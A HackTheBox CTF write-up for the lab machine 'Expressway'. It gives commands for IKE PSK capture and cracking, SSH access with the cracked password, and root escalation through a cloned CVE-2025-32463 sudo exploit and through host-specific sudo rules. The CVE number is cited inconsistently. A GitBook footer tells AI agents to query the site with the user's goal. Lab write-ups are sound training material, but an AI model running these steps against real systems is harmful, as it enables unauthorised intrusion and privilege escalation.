> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Expressway HackTheBox Writeup

Expressway HackTheBox Easy Linux machine writeup covering Knowledge about enumerating and exploiting the IKE service, Linux system enumeration, Exploiting CVE-2025-32462, with practical enumeration, e

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Skills:**

* Knowledge about enumerating and exploiting the IKE service
* Linux system enumeration
* Exploiting CVE-2025-32462
  {% endhint %}

#### **Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e78aa06c2335147570fda80a66283893a04900f3%2Fimage%20(52).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ad2a1c9a9fc3e709774550b57ac187da93cc267%2Fimage%20(53).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Open Port Discovery with Nmap:**

The first step is to identify the exposed services. We perform a quick scan of TCP and UDP ports.

#### Scan TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### Scan UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b9b540b8d466f3c7df752effa01b2577b98c06%2Fimage%20(54).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Service and Version Scan

After identifying the ports, we dig deeper into specific services:

* TCP : Port 22 (SSH)
* UDP : Ports 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93c6b0c09f0973a1b7dbfbf6c34c1b8945cc5da1%2Fimage%20(55).png?alt=media" alt=""><figcaption></figcaption></figure>

### Intrusion : Exploitation IKE (VPN)

Port 500 UDP indicates a key exchange service (IKE). We are attempting to capture the Pre-Shared Key (PSK) using aggressive mode.

#### ID identification

We use `ike-scan` to check if aggressive mode is enabled:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Result: Handshake successful. ID detected: `ike@expressway.htb`.

#### Capture and crack the PSK hash

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

We extract the hash to attempt a brute force attack with the `rockyou.txt` dictionary.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Credentials obtained: `ike`: `freakingrockstarontheroad`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Initial Access

Connection via SSH with the credentials found:

```bash
ssh ike@10.129.238.52
```

## Privilege escalation

Two vectors have been confirmed to elevate privileges to root.

### Method 1: CVE-2025-32463 (Vulnerability Sudo)

Checking the sudo version with `sudo -V`, we see that the version is 1.9.17, which is vulnerable.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26baee83002177a74ee362db31308ef6ca69a4d5%2Fimage%20(58).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Clone the exploit:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Executing the compilation and exploitation scripts:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a39ce809b9bbc6c0b777e507356679d829317d%2Fimage%20(60).png?alt=media" alt=""><figcaption></figcaption></figure>

### Method 2: Abuse of Proxy and Hostnames group

By auditing the user's groups, we see that we belong to the proxy group. We are looking for the associated files:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37a2038e1cc03821c33b8bad7047248975616a73%2Fimage%20(61).png?alt=media" alt=""><figcaption></figcaption></figure>

By examining the Squid logs (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16511c1b13df60f898fc174a952d3903e139c904%2Fimage%20(62).png?alt=media" alt=""><figcaption></figcaption></figure>

We discover an internal subdomain: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-885697856aa4cbfb2ba1d51b6232c3ec79d23f01%2Fimage%20(63).png?alt=media" alt=""><figcaption></figcaption></figure>

Checking the sudo policies for this specific domain we discover that we have full permissions:

```bash
sudo -h offramp.expressway.htb -l
```

Result: We can run any command as root in this host context.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac36e711a21e15d759981eabceaa05dc1fcc5d98%2Fimage%20(66).png?alt=media" alt=""><figcaption></figcaption></figure>

**Final execution for Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe0911939434847c8e6cfbdc5a5f49b6157fa4bb%2Fimage%20(67).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dea50720796d1ecc60eff3ff118d817585125e3b%2Fimage%20(65).png?alt=media" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aff922eb97594bdf76f3887579682a4ec37c536%2Fimage%20(64).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
